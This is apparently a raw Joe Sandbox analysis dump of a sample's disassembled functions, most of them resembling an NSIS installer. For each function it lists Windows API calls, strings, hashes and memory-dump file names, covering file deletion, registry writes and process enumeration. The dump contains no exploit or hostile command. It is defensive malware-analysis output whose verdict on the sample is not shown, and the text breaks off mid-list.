Opcode Fuzzy Hash: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

name, xrefs: 00406FBF
GetTTFNameString, xrefs: 00406F07
%s: failed opening file "%s", xrefs: 00406F0C

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
\*.*, xrefs: 00406D03
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile("%s"), xrefs: 00406DBC
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

GetModuleBaseNameW, xrefs: 00406494
Process32NextW, xrefs: 004065C8
Unknown, xrefs: 004064FC
EnumProcessModules, xrefs: 0040648A
CreateToolhelp32Snapshot, xrefs: 004065B5
Kernel32.DLL, xrefs: 0040659B
Module32FirstW, xrefs: 004065D3
EnumProcesses, xrefs: 00406482
PSAPI.DLL, xrefs: 00406464
Module32NextW, xrefs: 004065DE
Process32FirstW, xrefs: 004065BD

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

@%F, xrefs: 004042A7
N, xrefs: 0040426C
open, xrefs: 004042DF

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@rD, xrefs: 00404610
@%F, xrefs: 00404674
82D, xrefs: 004046DB
A, xrefs: 00404636

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

[Rename], xrefs: 00406BC8, 00406BD7
F, xrefs: 00406AE8
NUL, xrefs: 00406A9E
%s=%s, xrefs: 00406B43

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
